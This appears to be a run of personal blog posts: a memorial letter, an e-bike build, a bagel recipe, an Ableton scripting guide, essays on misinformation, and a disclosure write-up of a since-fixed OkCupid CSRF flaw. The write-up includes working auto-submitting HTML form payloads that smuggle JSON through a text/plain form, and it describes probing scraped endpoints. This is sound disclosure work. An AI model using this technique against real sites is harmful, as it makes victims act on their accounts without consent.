letter to peter eckersley

dear peter,

welcome back!

by the time you read this, i will probably be long gone. we thought you were too once upon a time, but our dear friends managed to get your brain cryogenically-preserved at the last possible hour. it is so amazing that the scientists of my future have figured out how to bring you back, and i wish i were there to hear all about it. was it like being asleep? did they have to build a body for you? how much do you remember from your first life? and so on.

i’ve heard that the cryopreservation process may cause some memory loss, so i’ll pretend we are strangers for now. my name is yan, and i’m writing this in September of 2022, about a week after your death.

by sheer coincidence, you were the first person i met when i moved to the bay area in August 2012. i was 21 and starting grad school in physics at stanford. all of that changed when one of my (and your) personal heroes, aaron swartz, tragically killed himself in January of 2013. i decided to drop out of my PhD program and become a hacker. the problem was, i knew basically nothing about computer programming or infosec. i was pretty sure i could figure it out, but nobody in the security industry was willing to hire me as an intern with zero practical job experience and no CS degree.

eventually i came to you, a flamboyantly-dressed distant acquaintance who frequented the same SoMA warehouse parties and Noisebridge hackathons as me. i asked you for an internship at the Electronic Frontier Foundation (EFF), where you were working as the Director of Technology Projects; my proposal was that i would maintain the HTTPS Everywhere project for the next 3 months and be paid $5000 in total. you were skeptical but somehow i convinced you to give me a chance, possibly thanks to the fact that you were also a reformed physicist-turned-computer-scientist. that summer, i taught myself javascript and you taught me how to use git blame, the basics of HTTPS encryption, and how to write Firefox extensions as we sat in your office next to a never-ending pot of tea.

the summer flew by; my internship ended and i started contracting as a security auditor for a small startup. months later, you had a job opening for a staff technologist, and i begged you to let me interview for it. to my utter surprise, i got my dream job, and suddenly life became one comic-book battle after another. one of the most memorable days was when i unexpectedly ported most of the Privacy Badger Chrome extension to Firefox in a single modafinil-fueled all-nighter. i will never forget your shock and delight when you walked into work that morning and saw my working demo. shortly after that, i was promoted to senior staff technologist and started getting more recognition in infosec. when i finally left EFF after a bout of unexplained mid-20s depression, you had nothing but best wishes for my future despite valiant attempts to convince me to stay. you were always there for me as my career took off, but i truly wish i had told you back then how much of it you deserved credit for.

in truth, i learned much more from you than i could have imagined during the too-brief decade that we knew each other. you were the first role model i had outside of school. you taught me that you could be weird and look like you just stepped out of a steampunk novel, yet still be taken seriously by your peers. you taught me that being brilliant and engaging in bouts of social hedonism were not mutually exclusive. you taught me that tech job interviews which consist entirely of riddles and logic puzzles are excruciating and should never be done unless you want the interviewee to suffer (i know this because that’s how you interviewed me). you taught me what a negroni and a corpse reviver are, that succulents are the easiest plants to keep in your office, and that if you are never missing flights, it means you are spending too much time at the airport. when i decided to start a weekly podcast, naturally my first guest was you, and thus the podcast was forever doomed; i never did a second episode because you set the bar too high.

in 2015, one of your crazy projects that you had been plotting for years was finally coming to fruition. at the time we were working on HTTPS Everywhere, HTTPS was still the exception rather than the rule, largely because it cost money to get a TLS certificate. you had an impossible vision - what if we partnered with a certificate authority and gave out free certificates that could be auto-deployed and renewed from the command line with zero user interaction? you thought this would change everything and finally get us to near-100% encryption on the web, and you turned out to be spectacularly right. the project that eventually became Let’s Encrypt has issued TLS certificates to 260 million websites as of September 2022, and HTTPS Everywhere is now all-but-deprecated because the vast majority of sites support HTTPS.

as the official release date for Let’s Encrypt drew near, i took a fellowship at EFF for a month to finish writing the nginx plugin for the Let’s Encrypt client. james kasten, you and i submitted a DEF CON talk about Let’s Encrypt, which was rejected, but at the last minute we were able to present it after all because some other speakers couldn’t make it. to our surprise, the room booked for our talk was filled to capacity and a long line of people waiting in line couldn’t even get in! after the success of that talk, the two of us ended up giving a few more together at conferences like Enigma and NginxConf. we always made our slides at the last minute and rarely rehearsed, but you were such a pro at keeping the audience spellbound that all of them went off without a hitch.

on a more personal note, you always could tell when i was sad or if something was wrong. i don’t open up easily to people but you had a way of asking the right questions and making people be honest with themselves. one time we went out for pho near the EFF office and talked about some difficulties we both had growing up. i don’t remember what you said but i do remember feeling less alone at the end and thinking that things would probably get better. you never hesitated to give life advice in a way that was both brazen and deeply empathetic.

all of this was on my mind as i rushed through the hospital last friday night, frantically looking for your room. all of it was still on my mind as the nurse gave us the devastating news that your heart had just stopped beating. i had waited nearly a decade to tell you how much i appreciated you, and now i was a minute too late.

but now that you’ve returned through some miracle of science, i’m so glad to be given a second chance to tell you all this. thanks for everything, peter - i hope the world is every bit as fascinating, absurd, maddening, exquisite, and profound to you as it once was.

til we meet again,

yan

how to be popular

This is a quick blog post about a security vulnerability (now fixed) that allowed me to make anyone like or message a profile on okcupid.com simply by getting them to click a link on my website. In doing so, I used one of the most boring web application security issues (CSRF) combined with a somewhat interesting JSON type confusion.

Proof that it worked on a friend who agreed to help me with security testing and is definitely NOT a rabbit:

Definitely not a rabbit

A short recap of CSRF

The story, like many, began with me opening devtools and checking if websites were sending CSRF tokens alongside requests that require authentication, like sending messages to another user from your account. CSRF is an attack whereby an attacker sends a link to a victim which, when visited in the victim’s browser, performs some action on behalf of the victim on a site that they are logged into. So for instance, if Bob is logged into Facebook, and Facebook doesn’t have CSRF mitigations on the endpoint that deletes a user’s account, then Alice can trick him into deleting his Facebook account by sending him a hidden link to https://facebook.com/delete (which is not the actual URL that deletes your FB account).

In this case, I noticed that OkCupid messages are sent via POST requests to https://www.okcupid.com/1/apitun/messages/send with a JSON-encoded body like so:

{"receiverid": "123", "body": "sup"}

Conspicuously, there was no CSRF token sent in the request. CSRF tokens are a common way to mitigate these attacks by including an unguessable secret token as an additional HTTP header or POST parameter. The receiving endpoint only allows the request after validating the token; the idea being that while Bob’s authentication cookies are sent automatically by his browser when he clicks on Alice’s malicious link, Alice isn’t able to include a valid CSRF token in the link and therefore the request will fail.

But what about the same-origin policy?

Web developers should be aware that the most fundamental security policy of the web is the same-origin policy: a website on one origin (AKA a scheme + host tuple) running in the browser should not be able to access data on a distinct origin unless the other origin explicitly allows it via a mechanism like Cross-Origin Resource Sharing (CORS). You might be tempted to think that CSRF isn’t possible if your website doesn’t send a CORS header.

The problem is that certain types of requests don’t care about CORS, and the rules for this are not obvious. For instance:

  1. If your site tries to GET a cross-origin image using XHR, it’s blocked by default.
  2. If your site instead loads the image via an img tag instead, it works.
  3. If your site sends a POST to another origin via the fetch API, it’s blocked by default.
  4. If your site instead sends the POST by clicking the submit button on an HTML form element via javascript, it works.

Doing it in practice

So how do we create a webpage which sends a cross-origin POST request to the OkCupid message-sending endpoint? This was attempt #1:

<html>
  <body>
    <form id="form" method="post" action="https://www.okcupid.com/1/apitun/messages/send">
      <input style='display:none' name='foo' value='bar'>
      <input type="submit" value="Click me">
    </form>
    <script>
      window.onload = () => {form.submit()}
    </script>
  </body>
</html>

I visited this on a localhost server and got a very helpful error message after the form was auto-submitted:

attempt1

Interesting - it’s not complaining that the request is initiated by some random origin, but rather that the POST body (foo=bar) is invalid JSON! Maybe we can fix that with a weird trick:

<html>
  <body>
    <form id="form" method="post" action="https://www.okcupid.com/1/apitun/messages/send">
      <input style='display:none' name='{"foo":"' value='bar"}'>
      <input type="submit" value="Click me">
    </form>
    <script>
      window.onload = () => {form.submit()}
    </script>
  </body>
</html>

My reasoning here was that the browser converts the name and value attributes on HTML input elements into name=value in the POST body that gets sent over the wire; so if name is {"foo":" and value is bar"}, this would become {"foo":"=bar"} which would be JSON-parsed into the bizarre-looking object {foo: '=bar'} without a problem. With a rush of hope unfelt since before the pandemic, I loaded this up in my browser and saw:

attempt2

… the exact same error. But this time it was because my beautiful POST body had been URL-encoded to become the ugly-but-safe string %7B%22foo%22%3A%22%3Dbar%22%7D. If only there were a way to tell the browser to not encode this form body!

Luckily the W3C deities gave us exactly such a gift in the form (pun intended) of the enctype attribute.

<html>
  <body>
    <form id="form" method="post" enctype="text/plain" action="https://www.okcupid.com/1/apitun/messages/send">
      <input style='display:none' name='{"foo":"' value='bar"}'>
      <input type="submit" value="Click me">
    </form>
    <script>
      window.onload = () => {form.submit()}
    </script>
  </body>
</html>

With the help of enctype="text/plain", the payload is finally sent in its true form (pun intended again) of {"foo":"=bar"}:

attempt 3

Putting it all together, the following HTML will automatically send a message that says “I am a rabbit” to the fake userID 123. (Finding out someone’s real userID is left as an exercise to the reader.)

<html>
  <body>
    <form id="form" method="post" action="https://www.okcupid.com/1/apitun/messages/send" enctype="text/plain">
      <input style='display:none' name='{"foo":"' value='", "receiverid":"123", "body":"i am a rabbit", "source":"desktop_global", "service":"other"}'>
      <input type="submit" value="Click me">
    </form>
    <script>
      window.onload = () => {form.submit()}
    </script>
  </body>
</html>

Note that the POST body becomes {"foo":"=", "receiverid":"123", "body":"i am a rabbit","source":"desktop_global", "service":"other"}. Because the browser inserts a = between the name and value attributes, this gets set to the value of a dummy key, foo, which okcupid fortunately ignores.

I uploaded this HTML to my website, visited the link, and voila:

finally

It works! … Or would work if I had finished my test profile so I could send messages to other users.

Too lazy to do this myself, I sent my CSRF link with my own userID filled in to some friends. Lo and behold, my OkCupid test profile was seranaded by a series of messages that they didn’t mean to send me.

beloved

I briefly felt very popular, which made it all worthwhile.

Parting thoughts

Besides making other users unknowingly message your OkCupid profile or someone else’s profile of your choosing, I found you could use essentially the same vulnerability to get other users to “like” your profile. Obviously you could abuse this in order to match with anyone you could trick into clicking a link, or you could spam the link to a bunch of people to increase your profile’s rankings in whatever mysterious algorithm OkCupid uses to suggest people.

It also occurred to me that if I redirected my website to the CSRF link that automatically sent a message to me, I could see the OkCupid profiles of my website visitors who were logged into okcupid.com, which would make for an intense web analytics tool.

The obvious fix is for OkCupid to require a CSRF token for these authenticated endpoint, but my attack also relied on the fact that these endpoints were happy to accept POSTs with content-type: text/plain even though they actually expected JSON. This made me curious if other sites were making the same mistake, so I quickly scraped some of the Alexa top sites looking for requests to endpoints containing api or json.

Once I had a list of a few hundred endpoints, I sent each of them a POST with content-type: text/plain and body {"foo":"bar"}. 87 out of 215 of these endpoints didn’t error, and many appeared to return JSON responses indicating success. Granted most of these are probably not authenticated endpoints and some of them may need to accept non-JSON text, but this suggests to me that developers should be careful accepting text/plain inputs on endpoints that parse JSON.

UPDATE: Multiple folks have kindly pointed out that setting the SameSite cookie attribute in modern browsers to Strict effectively prevents this attack and most other CSRFs. The behavior with SameSite=Lax is somewhat confusing; because submitting an HTML form triggers navigation, initially I assumed cross-origin cookies would be sent in this case. However, with the help of Simon Willison, I found that this is actually not the case if Lax is explicitly set. But here’s the surprise: if a SameSite attribute is NOT explicitly set, then Chrome will send the cross-origin cookie in POST requests that occur within 2 minutes of when the cookie was set, even though Lax is now the default in Chrome!

Disclosure timeline

This was reported to OkCupid in April 2021. According to their team, it was fixed without delay which prevented exploitation of the bug. I would like to thank their security team for the bounty and permission to share this blog post.

building an e-bike

about a year ago, i moved to a hillier neighborhood in San Francisco. my beat-up vintage road bike, a beloved and steadfast companion on thousands of commutes across SoMA, suddenly became way less practical and more importantly, way less fun. as months of quarantine dragged on, i started either taking Lyft rental e-bikes out of sheer laziness or just staying in flat regions (a technique i call elevation evasion). eventually i became so disappointed in my self-imposed lack of transportation autonomy that i decided to take action.

become a more competent cyclist? no.

put an motor on my bicycle?? YES.

why?

i first looked into buying an entire e-bike online in case this was somehow cheaper than doing an e-bike conversion. unfortunately most recommended affordable e-bikes were beyond my 3-figure budget, not to mention sold out due to their increased popularity during shelter-in-place.

e-bike conversion kits, on the other hand, cost as little as $240. this seemed like a steal until i realized that they didn’t come with a battery. e-bike batteries often cost more than the rest of the conversion kit combined, putting the true cost of a conversion at closer to $500.

around this time, i saw a well-targeted search ad for Swytch, “the world’s smallest and lightest eBike kit” according to their IndieGoGo. drawn in by their startuppy marketing materials and seemingly-perpetual 50% discount, i joined the waitlist for their next batch of kits. by the time pre-orders opened, i was convinced it was worth $499.

after months of waiting, not to mention $50 in shipping and $27 in import duties, my Swytch kit finally arrived in the mail a few weeks ago, far closer to the expected date than i had any right to expect from a crowdfunded project.

if at first you don’t succeed, move the goalposts

with great anticipation i unboxed the kit, consisting of a motorized replacement front wheel, a battery pack with charger, a handlebar mount for the battery, a pedal assist sensor, and an intimidating number of zipties. after skimming the manual (well-organized with lots of color pictures) and transferring my old tube and tire onto the new wheel, i started the first step of installing the Swytch wheel.

i ran into trouble immediately, since the axle turned out to be too wide for my fork.

fork fail

Swytch support got back to me within hours and recommended filing off a bit of the axle using a metal file. as i was waiting for the file to arrive from Amazon, i started to worry that the weight of the Swytch wheel and battery would put too much strain on my weakened bike frame (the result of a bike theft attempt that left a bad dent in the down tube). on top of that, my bike was in need of new brake pads and a new chain.

i decided that given all these problems, i should just build a new bike starting from the salvageable parts of my existing bike. i have never built a bike from parts before and was excited to learn. however, after doing my Craigslist homework, i couldn’t find a complete set of decent bike parts that cost less than $200, so i gave up and bought a $220 single-speed.

putting it all together

my brand-new Retrospec Harper arrived a few days later mostly assembled. i just had to attach the handlebars and seat, screw in the pedals, and adjust the brakes. and then to convert it into an e-bike:

  1. instead of the included front wheel, pop the Swytch wheel into the front fork and tighten both sides. it should fit perfectly, but you will need to adjust the height and angle of the brake pads. swytch front wheel
  2. attach the pedal assist system, which consists of two pieces: a ring with an arm that attaches to the crank, and a small sensor which goes on the bottom tube. you need to adjust the angle and placement of these pieces until they’re almost touching at their closest point (magnetic fields ftw) but not rubbing against each other. pas 1 pas 2
  3. attach the battery holder to your handlebars
  4. pop the battery into the battery holder, but make sure you activate it following the instructions in the manual and charge it first. battery_0 battery_1
  5. connect the wire from the pedal sensor to your battery. note that the battery will have some unused connectors if you bought the kit without upgrades, as shown below. battery_2
  6. connect the wire from the wheel motor to your battery. use your remaining zipties for cable management. cables

that’s it! the set up was surprisingly easy for a bike n00b like me, but even more surprising was how smooth and utterly fun the ride was. i was able to coast up an 11% grade street near my house without any difficulty, and biking through Golden Gate Park felt like surfing on butter. although it wasn’t cheap, the end product feels much more expensive than $750.

the one major downside is that i wouldn’t recommend locking this bike up for more than a minute in the city, given how easy it is to steal the pedal sensor. but all in all, it’s worth it for the ability to conquer the hills of SF without breaking a sweat.

ebike

lazy quarantine bagels

prologue: on laziness

lately i have been doing some lazy baking whilst in quarantine, where lazy is defined as:

  • no need for fancy equipment like stand mixers with dough hooks
  • no need for hard-to-find ingredients like lye
  • NO STARTERS (like the kind you need for making sourdough)
  • less than one hour of work total
  • can be made by someone with minimal baking experience
  • can skip/improvise/fuckup 1-2 steps and still have a decent result

for a prime example of lazy baking, check out my twitter recipe thread about japanese-style croissants (AKA salted butter rolls), which have been made by dozens of people (including children) to near-universal acclaim.

non-lazy bagels

when lazy croissants became overly undemanding of my copious leisure time (jk), i decided to move on to bagels with some encouragement from baking master and sourdough-starter-haver garrett. these bagels were incredible, but required having a sourdough starter and clearing an empty fridge shelf to put the bagels in overnight, hence disqualifying them from my laziness requirement.

having said that, if you have access to a sourdough starter, you should probably just stop reading here and go make this sourdough bagel recipe instead.

lazy bagels

my goal was to make a lazy bagel that was 90% as good as the average nyc bagel. it had to be soft and pillowy, yet able to withstand a cream-cheese loaded butter knife without getting crushed, with a chewy exterior and a nice yeasty flavor that would make keto people hate me.

i think i achieved this - or at least what is probably the best bagel i’ve had outside of the east coast - by making a few modifications to a tried-and-true recipe from Sally’s Baking Addiction. so far i’ve made two batches of my favorite bagel flavor, parmesan-onion-garlic, one with parmesan inside the dough and one without. both have turned out sufficiently spectacular that i am taking the time to write this down for posterity even though my blog auto-deploy scripts are broken.

equipment

  • enough baking sheets to fit 8 large bagels without crowding them
  • parchment paper or silicone baking mats
  • a pot that holds at least 2qts
  • [optional] pastry brush
  • thermometer

ingredients

  • 500g (4c) all-purpose or bread flour
  • 8g (2.75tsp) yeast
  • butter or oil spray for coating
  • 12g (2tsp) salt
  • 1/4c + 1tbsp maple syrup, brown sugar, or honey
  • at least 1/4c of baking powder
  • [optional] egg
  • [optional] 1/2c of shredded parmesan for mixing into the dough
  • whatever toppings you want on your bagels. (i used shredded parmesan, a small diced onion, coarse salt, and 2 cloves of minced garlic)

day 1 instructions

do these the night before you want to eat bagels

making alkalized baking soda

the purpose of this step is to increase the potency of commercial baking soda so that you can use it in place of lye to boil bagels.

  1. preheat an oven to 275F
  2. line a baking sheet with aluminum foil
  3. pour a bunch of baking soda (at least 1/4c, do more if you want to save some for next time) onto the foil in a layer
  4. bake the baking soda for an hour; then store it in a sealed jar or ziplock bag

be careful when handling the baking soda after baking as it is strong enough to cause skin irritation.

making the dough

  1. pour 1.5 cups of water into a small bowl & microwave for ~40s until it reaches 100-110F (38-43C)
  2. sprinkle 8g yeast into the water and whisk it around until it dissolves. add 1 tbsp maple syrup (or brown sugar, or honey) into the yeast water and stir to combine.
  3. measure 500g flour and 12g salt into a very large bowl. if you want a cheesy dough, add 1/2 cup of shredded parmesan. mix it all up.
  4. pour the wet mixture into the flour mixture and mix it up evenly with your hands.
  5. dust some flour onto a work surface (like a counter or chopping board), then pour your dough onto the surface
  6. knead the dough for about 10min, sprinkling more flour onto the dough if it is sticking to your hands or the surface. i like to fold the dough onto itself, press down hard to flatten it, fold, press, repeat. at the end of this process, you should have a stiff ball of dough that barely sticks: doughball
  7. grease or oil spray the bowl that your dough was in. put your dough ball back into the bowl and flip it around to coat in oil/butter. cover it (i like to use plastic wrap with a towel on top) and let it sit out for 60-90min. at the end it should look puffier like this: dough
  8. put your bowl of covered dough in the fridge to rest overnight

day 2 instructions

your dough should have risen a bunch in the fridge and may now look ugly like this: dough nextday

  1. split your dough into 8 roughly-equal balls
  2. taking one ball of dough at a time, flatten the ball into a disk, then roll it up into a long log shape. put 3 fingers on top of the log, then wrap the dough around your fingers so about 2 inches overlap. then roll the dough seam so that it looks like a continuous ring of dough as shown below. doughshaping
  3. place the shaped dough onto baking sheets lined with silicone mats or parchment paper. cover again and let rise at room temperature for up to an hour.
  4. in the meantime, preheat the oven to 425F. prep your bagel toppings and egg wash. to make egg wash (optional but recommended), whisk together 1 egg yolk and a splash of milk/cream/water.
  5. in a large pot, bring 2 quarts of water to a boil. add 2 tbsp of the alkalized baking powder and 1/4 cup of maple syrup (or honey, or brown sugar). doughbath
  6. carefully drop in 2-4 bagels at a time. they should float to the top of the water. let them boil for 30s to 1m on one side until a fried-looking layer forms, then flip them over and repeat for the other side. boiling
  7. when you have boiled the bagels on both sides, carefully remove them from the water with a slotted spoon and place on a plate. brush them with egg wash if using. eggwash
  8. top generously with toppings toppings
  9. place the bagels back on the lined baking sheets and bake for 20min or until they turn golden brown.

here’s my first batch without parmesan in the dough, on the slightly less-cooked end at ~19min (how i prefer bagels): less donebagels

and here’s bagels at ~21min, which is how most people seem to prefer bagels: more donebagels

the next day, they were still really soft with a nice density and bite: day after bagels1 day after bagels2

for comparison, here’s a fresh-from-the-oven picture from my 2nd batch which used bread flour instead of AP and had parmesan mixed into the dough. the dough was a lot stickier / harder to work with due to the cheese (hence some of the uglier photos above), and the end result might be considered not-a-proper-bagel by bagel snobs. however i guarantee it is still tastier than almost any bagel you can find on the west coast. cheesybagel

happy experimenting!

Writing Custom Control Surfaces for Ableton

Recently I’ve been really interested in what goes on in Ableton Live under the hood, since it’s a widely-used piece of proprietary software for making bangers. It turns out you can get pretty far knowing just a small amount of Python scripting!

For instance, I found that .als files (and .adv’s, and .adg’s, and probably more) are just gzipped XML and so therefore you can do some fun processing on them using any XML library, such as Python’s. So, remembering the week that it took me to convert all my Ableton DJ sets into Rekordbox, I wrote a script to automatically convert Ableton cues to Rekordbox and vice-versa. This could have definitely saved me about 10 hours of boring work time that could have been spent making bangers instead!

This week, I started looking into Ableton’s Python interface for control surfaces and you’ll never guess what happened next (a bunch of boring stuff).

What’s a control surface?

According to Ableton, “Control Surfaces are specially written scripts which allow controllers to interface with Live”.

Most people who use Ableton interact with it through a tactile controller, such as a MIDI keyboard or an Ableton Push or the APC40 controller. Control surfaces are scripts which act as a bridge between Ableton and the controller, telling Ableton what each button/knob/fader/etc. on the controller should do.

It turns out that these control surfaces are simply Python scripts.

Where does Ableton store its control surface scripts?

Ableton comes with a bunch of control surface scripts pre-installed for common controllers such as the Launchkey, Push, and APCs. For these controllers, you can just plug in the controller, open Ableton Preferences, and select the control surface for it via a drop-down list in the Link/MIDI tab.

These scripts are stored in /Applications/Ableton Live $VERSION.app/Contents/App Resources/MIDI Remote Scripts/ on Mac (where $VERSION is 10 Suite for instance if you have Live 10 Suite installed) and \ProgramData\Ableton\Live x.x\Resources\MIDI Remote Scripts\ on Windows.

For the rest of this post we will refer to this as the MIDI Remote Scripts directory.

Loading a custom control surface script

If you want to load your own custom control surface script for an existing MIDI controller, the steps are fairly straightforward:

  1. Find the existing control surface for the MIDI controller in the MIDI Remote Scripts directory. For instance, for the APC40, this would be in APC40/ as a bunch of .pyc files. You can either decompile the .pyc yourself or find the decompiled version in https://github.com/gluon/AbletonLive10.1_MIDIRemoteScripts.
  2. Copy these decompiled Python files to a new directory in the MIDI Remote Scripts directory.
  3. Customize them (more on this in the next section).
  4. Now open Ableton and go to the Link/MIDI tab of Preferences. Ableton should automatically compile the .py files to .pyc. If everything loaded without errors, you will see your new MIDI Remote Scripts directory show up as an option in the Control Surface dropdown.

Customizing control surfaces

In the MIDI Remote Scripts directory, there’s various directories that start with _. These are libraries which other control surfaces can make use of. One particularly useful one is _Framework, which includes definitions for useful classes like ButtonElement, which represents a button on the controller.

The best intro I’ve found to _Framework is this one by Hanz Petrov: https://livecontrol.q3f.org/ableton-liveapi/articles/introduction-to-the-framework-classes/.

Let’s say we want to take the Metronome button on an APC40MKII and instead map that to turn on looping for the currently active clip. Assume we’ve already created a ControlSurface subclass as a starting point.

  1. As a shortcut to calling ButtonElement directly, note that there is an _APC library already which provides a make_button utility method for APC controllers. Github link here.
  2. make_button takes an identifier as input. To figure out what we need to pass here for the metronome button, we can look at the APC control protocol documentation which conveniently lists identifiers for all the buttons on the APC40MKII. We see that 0x5a, or 90, is the identifier for the metronome button.
  3. Now we have to add a listener to the button using the add_value_listener method of ButtonElement that triggers when the button is pressed. Let’s call this handler start_loop.
  4. In start_loop, we can call the song() method of the ControlSurface superclass in order to get a reference to the Live.Song.Song object that we are currently controlling. For documentation on this and other Live objects that are available in Python, see here.
  5. song().view.highlighted_clip_slot.clip now gives us the active clip. This is a Live.Clip.Clip object according to the docs above. So we can simply set clip.looping to a truthy value like 1 to make the clip loop!

In reality, I’ve found the best way to figure these things out is to simply copy/paste code from other control surface scripts as needed. In particular, Will Marshall’s unsupported Ableton 8 control surface scripts are really helpful. Also the unofficial Live Python API documentation is crucial.

Debugging tips

  1. You can log to Ableton’s main log file using the ControlSurface log_message method defined here. On Mac, the log file is at /Users/[username]/Library/Preferences/Ableton/Live x.x.x/Log.txt and on Windows it’s \Users\[username]\AppData\Roaming\Ableton\Live x.x.x\Preferences\Log.txt. This file also contains errors emitted by Python.
  2. You can also reload the MIDI control surface without restarting Ableton: simply re-open the currently open session from File > Open Recent Set.
  3. If you find that Ableton doesn’t auto-compile Python, you can compile using python -m compileall .
  4. As mentioned previously, if a script throws an error immediately, it won’t show up in Ableton’s list of available control surfaces.

Example

As an example, see this Youtube video and Github repo for adding CDJ-style looping buttons to the APC40MK2. The work for this was done originally for Ableton 8 by Will Marshall and I only made some minor edits to make it more CDJ-like and loadable in Live 10.

Note that you can accomplish much of this already without control surface scripts simply by using Ableton’s MIDI mapping mode. One exception is the ability to halve and double loop lengths.

I hope this helps to show that control surface scripts are a quite powerful and flexible way to get your Ableton controller to behave exactly the way you want. Happy hacking!

the information apocalypse

My friend Aviv was recently the subject of a popular Buzzfeed article about the possibility of an impending “information apocalypse”. tl;dr: Aviv extrapolates from the fake news crisis that started in 2016 to a world in which anyone can create AI-assisted misinformation campaigns indistinguishable from reality to the average observer. From there, a series of possible dystopian scenarios arise, including:

  1. “Diplomacy manipulation,” in which someone uses deepfakes-style video manipulation tools to produce a realistic video of a political leader declaring war, in order to provoke their enemy into retaliation.
  2. “Polity simulation,” where Congresspeople’s inboxes are spammed with messages from bots pretending to be their constituents.
  3. “Laser phishing,” which improves the sophistication of phishing attacks by training phishing email generators on messages from your real friends, so you’re more likely to read them and fall for them.

With regards to how this would affect our everyday lives, Aviv postulates that exposure to a constant barrage of misinformation may lead to “reality apathy”; that is, people will start to assume that any information presented to them is untrustworthy and give up on finding the truth. In such a world, Aviv says, “People stop paying attention to news and that fundamental level of informedness required for functional democracy becomes unstable.”

The rest of this post consists of my half-formed thoughts on the possibility of reality apathy as it relates to existing technology, largely informed by my perspective working in the computer security industry.

Let’s start with the Internet of the late 90s and early 2000s. Back then, long before the 2016 fake news crisis, it was already possible to bombard everyone on the Internet with well-crafted, believable misinformation. All you had to do was create a legitimate-looking website with a legitimate-looking domain name and then spread the link via chain emails. Case in point: the first website that ever traumatized me as a kid was something called Bonsai Kitten. Complete with realistic-looking photos of cute kittens contorted into various jars and vases, this website completely fooled the 5th-grade me into believing that some unimaginably cruel person was raising and selling mutilated kittens. Apparently I wasn’t the only one - the site drew hundreds of complaints a day from concerned animal-lovers and was the subject of an FBI investigation according to Wikipedia. Eventually Bonsai Kitten was debunked, and I’m now friends with the creator of the site that once haunted my nightmares.

Another example of misinformation that people online have been exposed to since the dawn of the Internet is email-based phishing and spam. However, nowadays it is relatively difficult to create a successful bulk phishing/spam campaign, largely thanks to Google’s improvements in spam filtering and Gmail’s ever-increasing centralization of email. As Mike Hearn describes in great detail on the messaging@moderncrypto.org mailing list, Google eventually “won” the spam war by building a reputation system in which sender reputations could be calculated faster than the attacker could game the system. Notably, this solution relied on both Gmail’s ability to scan an incredibly large volume of plaintext email and their ability to broadly distinguish between legitimate Gmail users and bots trying to do Sybil attacks on the reputation scoring system.

How does this change in a world where phishing emails are generated by really smart AIs? We might imagine that the content of these emails would do a much better job at fooling both humans clicking the spam/not-spam labels and Gmail’s filter algorithms into thinking that they aren’t spam. However, the spammer would still have to figure out a way of obtaining non-blacklisted sender IP addresses, which can be done by signing up for a bunch of accounts with a webmail service like Gmail (which Gmail tries to prevent, as Mike Hearn notes) or by taking over someone else’s account and spamming their contacts.

The latter case may seem intractable. If a bot hacks my Gmail account, uses my sent mail to train itself to generate emails that sound exactly like me, and emails my friends asking them to send money to the hacker’s Bitcoin address, Gmail’s spam filters are going to have a hard time figuring out that those were not legitimate emails from me. On the other hand, I could have prevented this from happening had I done a better job of securing my email account. For these reasons, I consider email-based misinformation to be mostly a solved problem as long as Gmail’s anti-spam team keeps doing their job, Google still controls the vast majority of email (ugh), and users can keep their accounts secured.

What about phishing websites, then? There are some incomplete defenses against those:

  1. Google SafeBrowsing is a service integrated into Chrome and other browsers that contains a dynamic blacklist of “bad” domains, such as phishing sites and sites distributing known malware. Browsers that enable SafeBrowsing will show a warning before allowing a user to view a site on the SafeBrowsing blacklist.
  2. High-profile legitimate websites such as banks will often buy Extended Validation TLS certificates, which require their organization to be validated by the issuing certificate authority. In exchange, browsers show a green bar in the URL bar next to the lock icon, usually containing the name of the organization and the country code. However, it’s relatively easy to game the validation process, and it’s unclear how well this actually protects average users from real-life phishing attacks.

On the other hand, the problem of determining whether a website is presenting a distorted version of reality has some important differences from the problem of determining whether a website is phishing/malware. For one, many people who have no problems accepting Google’s decision on whether a website is distributing ransomware binaries would not be happy if Google were the sole arbiter of whether news stories were true or not. The occasionally-made argument that SafeBrowsing is a form of censorship would apply much more cleanly if SafeBrowsing (or a similar megacorp-controlled service) also blacklisted sites that were ruled to be “fake news”.

So how do we protect people from believing fake news in a world where anyone can generate realistic-looking videos, images, and stories?

One idea I had brought up with Aviv was that web browsers or content platforms like Facebook and YouTube could show a special UI indicator for media and stories from reputable news sites, similar to how browsers show a green bar for EV certificates and how Twitter/Facebook show a check mark next to verified account names. For instance, videos that are approved as legitimate by the Associated Press could be signed by a cryptographic key controlled by AP that is preloaded into browsers. Then when the video is playing in someone’s Facebook news feed, the browser’s trusted UI (for instance somewhere in the URL bar) would display a popup informing the user that the video has been approved by AP. This would however not prevent attacks where a Facebook user makes up a fake caption (“Trump declares war on Hawaii”) for a real image (an old photo of Trump speaking).

(Browsers and news reader apps could even add an optional “trusted news mode” where they only display media files that have been cryptographically signed by a reputable journalist organization. Unfortunately this would also block content from “citizen journalists” such as people livetweeting photos from a protest.)

To end on a more pessimistic note, I fear that we ultimately can’t stop misinformation campaigns from becoming rampant and normalized, not because of purely technological reasons but because of psychological ones. During and in the wake of the 2016 Presidential Election, a lot of the shares, likes, and retweets that I saw boiled down to people on both sides trying as hard as they could to reinforce their existing beliefs. Social media, it turns out, is an excellent tool for propagating “evidence” of what you believe, regardless of whether the evidence is real or not.

Fake news that is unpalatable (ex: Bonsai Kitten) stops spreading once it’s been debunked, but fake news that is crafted to be consistent with your desired reality can keep getting views, shares, and clicks. Instead of reality apathy, we end up with pick-your-own-reality filter bubbles, in which people gather and amplify fake evidence for the reality that best suppports their underlying narrative. Instead of “giving up” on consuming information, people cherry-pick their information consumption based on feelings instead of fact, turning more and more online spaces into breeding grounds for extremism.

And so, maybe the majority of people wouldn’t even want SafeBrowsing-style blacklists of fake news sites or verification badges on legitimate journalist-vetted news articles, because they’re not reading the news to learn the truth - they’re reading the news to validate and spread their existing worldviews.

Effectively this means that any technological solution to the information apocalypse depends on a social/behavioral solution: people need to welcome cognitive dissonance into their online spaces instead of shunning it. But it sounds almost ridiculous to suggest that shares/likes/retweets should be based on factual accuracy, not emotions. That’s not how social media works.

a post-truth thought experiment

1. A perfect game-theoretic analysis machine

Imagine that you had a magic machine. You tell the machine what your goals are. The machine tells you, in any situation, the optimal statement to say in order to achieve your goals, and who to say it to. The statement may or may not be true.

Under which circumstances, if any, would you follow the machine’s instructions?

Example 1: Bob tells the machine that his goal is to become as rich as possible. The machine instructs Bob to publish a “fake news” article about how climate change is an illuminati conspiracy theory.

Example 2: Alice tells the machine that her goal is to cure cancer. The machine instructs her to tell the local florist that her favorite color is red when in reality it is blue.

